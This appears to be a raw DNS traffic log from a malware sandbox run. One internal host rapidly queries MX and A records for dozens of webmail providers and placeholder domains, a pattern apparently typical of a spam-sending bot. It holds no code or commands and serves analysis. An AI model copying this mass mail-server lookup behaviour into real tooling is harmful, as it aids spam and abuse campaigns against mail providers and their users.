Jan 7, 2022 15:54:21.360119104 CET	192.168.2.3	8.8.8.8	0x4e73	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.382379055 CET	192.168.2.3	8.8.8.8	0xbc17	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.437226057 CET	192.168.2.3	8.8.8.8	0x99cb	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.456027031 CET	192.168.2.3	8.8.8.8	0x8de6	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.536202908 CET	192.168.2.3	8.8.8.8	0x4722	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.558710098 CET	192.168.2.3	8.8.8.8	0xe42e	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.587971926 CET	192.168.2.3	8.8.8.8	0x1a51	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.610512018 CET	192.168.2.3	8.8.8.8	0xc41c	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.624008894 CET	192.168.2.3	8.8.8.8	0x3b8a	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.641216040 CET	192.168.2.3	8.8.8.8	0x5d29	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.663847923 CET	192.168.2.3	8.8.8.8	0x80ca	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.719141006 CET	192.168.2.3	8.8.8.8	0xbf40	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.739283085 CET	192.168.2.3	8.8.8.8	0xe552	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.896199942 CET	192.168.2.3	8.8.8.8	0x694c	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:22.006308079 CET	192.168.2.3	8.8.8.8	0x5160	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.164019108 CET	192.168.2.3	8.8.8.8	0x31ba	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.185956001 CET	192.168.2.3	8.8.8.8	0x4aaa	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.397196054 CET	192.168.2.3	8.8.8.8	0x679c	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.419511080 CET	192.168.2.3	8.8.8.8	0xc4c0	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.591381073 CET	192.168.2.3	8.8.8.8	0xf36c	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.612442970 CET	192.168.2.3	8.8.8.8	0x71bd	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.633940935 CET	192.168.2.3	8.8.8.8	0x5ba3	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.773642063 CET	192.168.2.3	8.8.8.8	0x4b16	Standard query (0)	bigmir.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.797884941 CET	192.168.2.3	8.8.8.8	0xc708	Standard query (0)	mx1.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.817670107 CET	192.168.2.3	8.8.8.8	0x6f68	Standard query (0)	mx3.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.842093945 CET	192.168.2.3	8.8.8.8	0xfad3	Standard query (0)	mx10.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.863742113 CET	192.168.2.3	8.8.8.8	0xe0bd	Standard query (0)	mx12.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.913495064 CET	192.168.2.3	8.8.8.8	0x7ebe	Standard query (0)	mx13.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.232182026 CET	192.168.2.3	8.8.8.8	0x83cc	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.252718925 CET	192.168.2.3	8.8.8.8	0x65df	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.273550987 CET	192.168.2.3	8.8.8.8	0x7655	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.432950974 CET	192.168.2.3	8.8.8.8	0xfc64	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.453273058 CET	192.168.2.3	8.8.8.8	0x1f56	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.610400915 CET	192.168.2.3	8.8.8.8	0x5fe0	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.631144047 CET	192.168.2.3	8.8.8.8	0x46cd	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.783720016 CET	192.168.2.3	8.8.8.8	0x8a0f	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:31.350044966 CET	192.168.2.3	8.8.8.8	0xd07d	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:31.667187929 CET	192.168.2.3	8.8.8.8	0x46cd	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.065232038 CET	192.168.2.3	8.8.8.8	0xa02c	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.483012915 CET	192.168.2.3	8.8.8.8	0x295d	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.503206015 CET	192.168.2.3	8.8.8.8	0x4fe9	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.524668932 CET	192.168.2.3	8.8.8.8	0x5f75	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.546950102 CET	192.168.2.3	8.8.8.8	0xbce1	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.340073109 CET	192.168.2.3	8.8.8.8	0xaeb7	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:33.360038042 CET	192.168.2.3	8.8.8.8	0xcfed	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.511369944 CET	192.168.2.3	8.8.8.8	0xc9f	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:33.532147884 CET	192.168.2.3	8.8.8.8	0xc4ea	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.915292978 CET	192.168.2.3	8.8.8.8	0x2a2e	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:33.936403990 CET	192.168.2.3	8.8.8.8	0x6cfb	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:34.253117085 CET	192.168.2.3	8.8.8.8	0x24c0	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:34.272197008 CET	192.168.2.3	8.8.8.8	0x638	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.215774059 CET	192.168.2.3	8.8.8.8	0x3906	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:35.250190020 CET	192.168.2.3	8.8.8.8	0x8a7f	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:36.377438068 CET	192.168.2.3	8.8.8.8	0xe075	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:36.417692900 CET	192.168.2.3	8.8.8.8	0xd680	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:36.492351055 CET	192.168.2.3	8.8.8.8	0x23cb	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:45.891864061 CET	192.168.2.3	8.8.8.8	0x2b82	Standard query (0)	wxyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:45.917069912 CET	192.168.2.3	8.8.8.8	0x71cd	Standard query (0)	mxa-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:46.092549086 CET	192.168.2.3	8.8.8.8	0x8858	Standard query (0)	mxb-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:47.368482113 CET	192.168.2.3	8.8.8.8	0x5f1c	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:49.712357998 CET	192.168.2.3	8.8.8.8	0x1044	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:49.735135078 CET	192.168.2.3	8.8.8.8	0x8782	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:49.756829023 CET	192.168.2.3	8.8.8.8	0x33c3	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:50.638823032 CET	192.168.2.3	8.8.8.8	0x320e	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:50.659234047 CET	192.168.2.3	8.8.8.8	0x21d2	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:52.393699884 CET	192.168.2.3	8.8.8.8	0xd083	Standard query (0)	animo.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:52.770601034 CET	192.168.2.3	8.8.8.8	0xf8d2	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:52.791095972 CET	192.168.2.3	8.8.8.8	0xbc9a	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:54.895272970 CET	192.168.2.3	8.8.8.8	0x20c3	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:54.914582014 CET	192.168.2.3	8.8.8.8	0x8325	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:56.344429016 CET	192.168.2.3	8.8.8.8	0x8b71	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:56.384172916 CET	192.168.2.3	8.8.8.8	0x9335	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.150924921 CET	192.168.2.3	8.8.8.8	0xff1f	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:58.171406031 CET	192.168.2.3	8.8.8.8	0x516d	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.332196951 CET	192.168.2.3	8.8.8.8	0x85c6	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:58.352660894 CET	192.168.2.3	8.8.8.8	0xdc2b	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.944869995 CET	192.168.2.3	8.8.8.8	0x8256	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:58.963037014 CET	192.168.2.3	8.8.8.8	0x3d60	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:59.169903994 CET	192.168.2.3	8.8.8.8	0x1b	Standard query (0)	pirajui.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:01.802428961 CET	192.168.2.3	8.8.8.8	0xbdb1	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:01.827318907 CET	192.168.2.3	8.8.8.8	0xad0b	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:08.833045006 CET	192.168.2.3	8.8.8.8	0x602a	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:08.860162020 CET	192.168.2.3	8.8.8.8	0x685d	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:10.188113928 CET	192.168.2.3	8.8.8.8	0xdae9	Standard query (0)	musical.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:10.407923937 CET	192.168.2.3	8.8.8.8	0x3c3b	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:10.431175947 CET	192.168.2.3	8.8.8.8	0xfd09	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.079854012 CET	192.168.2.3	8.8.8.8	0x54ad	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:11.100722075 CET	192.168.2.3	8.8.8.8	0xe1fb	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.277254105 CET	192.168.2.3	8.8.8.8	0x53f3	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:11.301209927 CET	192.168.2.3	8.8.8.8	0x69b2	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.989546061 CET	192.168.2.3	8.8.8.8	0xbc3c	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:12.010478020 CET	192.168.2.3	8.8.8.8	0xe1cc	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.318797112 CET	192.168.2.3	8.8.8.8	0x698d	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:13.339653015 CET	192.168.2.3	8.8.8.8	0x85a4	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:16.395342112 CET	192.168.2.3	8.8.8.8	0x5542	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:16.414897919 CET	192.168.2.3	8.8.8.8	0x7379	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:17.166791916 CET	192.168.2.3	8.8.8.8	0x4bec	Standard query (0)	contoso.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:17.548243046 CET	192.168.2.3	8.8.8.8	0x9025	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:17.568767071 CET	192.168.2.3	8.8.8.8	0xa840	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:18.612982035 CET	192.168.2.3	8.8.8.8	0x47bf	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:18.633213997 CET	192.168.2.3	8.8.8.8	0xea57	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:19.902219057 CET	192.168.2.3	8.8.8.8	0x4b93	Standard query (0)	xyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:19.920958042 CET	192.168.2.3	8.8.8.8	0x2f24	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:19.949429035 CET	192.168.2.3	8.8.8.8	0x6a55	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:19.983064890 CET	192.168.2.3	8.8.8.8	0x7d50	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.004569054 CET	192.168.2.3	8.8.8.8	0x99bb	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.026396036 CET	192.168.2.3	8.8.8.8	0x3ee4	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.275177956 CET	192.168.2.3	8.8.8.8	0xe5fc	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:20.296269894 CET	192.168.2.3	8.8.8.8	0x116a	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.643731117 CET	192.168.2.3	8.8.8.8	0xad64	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:22.561594963 CET	192.168.2.3	8.8.8.8	0xb0b7	Standard query (0)	animo.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:22.736474991 CET	192.168.2.3	8.8.8.8	0x5b6e	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:22.757200956 CET	192.168.2.3	8.8.8.8	0x18e	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.946990967 CET	192.168.2.3	8.8.8.8	0xc637	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:23.969557047 CET	192.168.2.3	8.8.8.8	0xa385	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.511112928 CET	192.168.2.3	8.8.8.8	0xdd48	Standard query (0)	xyz.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:34.533670902 CET	192.168.2.3	8.8.8.8	0x4197	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.556706905 CET	192.168.2.3	8.8.8.8	0xa16b	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.697272062 CET	192.168.2.3	8.8.8.8	0xfd35	Standard query (0)	wxyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:34.716088057 CET	192.168.2.3	8.8.8.8	0xca0f	Standard query (0)	mxa-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.837366104 CET	192.168.2.3	8.8.8.8	0x7fc3	Standard query (0)	mxb-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:36.944417953 CET	192.168.2.3	8.8.8.8	0xca5c	Standard query (0)	pirajui.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:38.034652948 CET	192.168.2.3	8.8.8.8	0xa77a	Standard query (0)	musical.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:39.751240969 CET	192.168.2.3	8.8.8.8	0xe872	Standard query (0)	contoso.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:42.326991081 CET	192.168.2.3	8.8.8.8	0x6f03	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.576013088 CET	192.168.2.3	8.8.8.8	0xa029	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.576534033 CET	192.168.2.3	8.8.8.8	0x4490	Standard query (0)	animo.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.579772949 CET	192.168.2.3	8.8.8.8	0x6a1a	Standard query (0)	pirajui.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.579946995 CET	192.168.2.3	8.8.8.8	0x8675	Standard query (0)	musical.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.582315922 CET	192.168.2.3	8.8.8.8	0x9305	Standard query (0)	contoso.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.582696915 CET	192.168.2.3	8.8.8.8	0xb605	Standard query (0)	xyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.582726002 CET	192.168.2.3	8.8.8.8	0x2d98	Standard query (0)	xyz.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.583240986 CET	192.168.2.3	8.8.8.8	0xabc1	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.603689909 CET	192.168.2.3	8.8.8.8	0x4b6	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.613579988 CET	192.168.2.3	8.8.8.8	0xb211	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.614545107 CET	192.168.2.3	8.8.8.8	0x9f47	Standard query (0)	x.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.615806103 CET	192.168.2.3	8.8.8.8	0xef0d	Standard query (0)	kywx.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.616203070 CET	192.168.2.3	8.8.8.8	0x7560	Standard query (0)	aaw.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.616290092 CET	192.168.2.3	8.8.8.8	0xf60b	Standard query (0)	griepp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.616566896 CET	192.168.2.3	8.8.8.8	0x3c45	Standard query (0)	oopp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.617763042 CET	192.168.2.3	8.8.8.8	0xd86b	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.623262882 CET	192.168.2.3	8.8.8.8	0xe225	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.636934042 CET	192.168.2.3	8.8.8.8	0xda42	Standard query (0)	oopp.pl	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.638133049 CET	192.168.2.3	8.8.8.8	0xea8e	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.642030954 CET	192.168.2.3	8.8.8.8	0x8bd4	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.643731117 CET	192.168.2.3	8.8.8.8	0x5465	Standard query (0)	wewew.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.644007921 CET	192.168.2.3	8.8.8.8	0x9bf1	Standard query (0)	riekk.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.644377947 CET	192.168.2.3	8.8.8.8	0xd481	Standard query (0)	fafa.pk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.644469023 CET	192.168.2.3	8.8.8.8	0x90c2	Standard query (0)	xara.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.658184052 CET	192.168.2.3	8.8.8.8	0x50cf	Standard query (0)	lufka.zx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.663136005 CET	192.168.2.3	8.8.8.8	0xe5bd	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.673590899 CET	192.168.2.3	8.8.8.8	0x621b	Standard query (0)	fanfary.pq	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.673804998 CET	192.168.2.3	8.8.8.8	0x116d	Standard query (0)	fajrant.qz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.674159050 CET	192.168.2.3	8.8.8.8	0x5100	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.690615892 CET	192.168.2.3	8.8.8.8	0x9ced	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.692090034 CET	192.168.2.3	8.8.8.8	0xa304	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.704988003 CET	192.168.2.3	8.8.8.8	0x6b80	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.705033064 CET	192.168.2.3	8.8.8.8	0x1db8	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.705414057 CET	192.168.2.3	8.8.8.8	0xdcf0	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.724900007 CET	192.168.2.3	8.8.8.8	0xf38c	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.726644039 CET	192.168.2.3	8.8.8.8	0x4d73	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.727797031 CET	192.168.2.3	8.8.8.8	0x69f4	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.735413074 CET	192.168.2.3	8.8.8.8	0xd35b	Standard query (0)	contoso.es	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.756134987 CET	192.168.2.3	8.8.8.8	0x4fc3	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.774589062 CET	192.168.2.3	8.8.8.8	0x66a6	Standard query (0)	aspmx4.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.802532911 CET	192.168.2.3	8.8.8.8	0x2b31	Standard query (0)	aspmx5.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.831481934 CET	192.168.2.3	8.8.8.8	0x205	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.857738972 CET	192.168.2.3	8.8.8.8	0x3daf	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.954396009 CET	192.168.2.3	8.8.8.8	0x7d5a	Standard query (0)	contoso.mx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.137404919 CET	192.168.2.3	8.8.8.8	0x13c6	Standard query (0)	xyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.138704062 CET	192.168.2.3	8.8.8.8	0x8292	Standard query (0)	x.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.140218019 CET	192.168.2.3	8.8.8.8	0xb809	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.145509958 CET	192.168.2.3	8.8.8.8	0x3259	Standard query (0)	kywx.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.146138906 CET	192.168.2.3	8.8.8.8	0x824d	Standard query (0)	aaw.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.164880991 CET	192.168.2.3	8.8.8.8	0x8cc1	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.180298090 CET	192.168.2.3	8.8.8.8	0xad15	Standard query (0)	lufka.zx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.180746078 CET	192.168.2.3	8.8.8.8	0xec55	Standard query (0)	wewew.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.181154013 CET	192.168.2.3	8.8.8.8	0x3817	Standard query (0)	griepp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.181509972 CET	192.168.2.3	8.8.8.8	0xa929	Standard query (0)	oopp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.181853056 CET	192.168.2.3	8.8.8.8	0x99ca	Standard query (0)	riekk.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.182188988 CET	192.168.2.3	8.8.8.8	0xa07b	Standard query (0)	xara.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.182533026 CET	192.168.2.3	8.8.8.8	0xb782	Standard query (0)	fafa.pk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.186038971 CET	192.168.2.3	8.8.8.8	0x48e8	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.188256025 CET	192.168.2.3	8.8.8.8	0xb70e	Standard query (0)	fanfary.pq	MX (Mail exchange)	IN (0x0001)
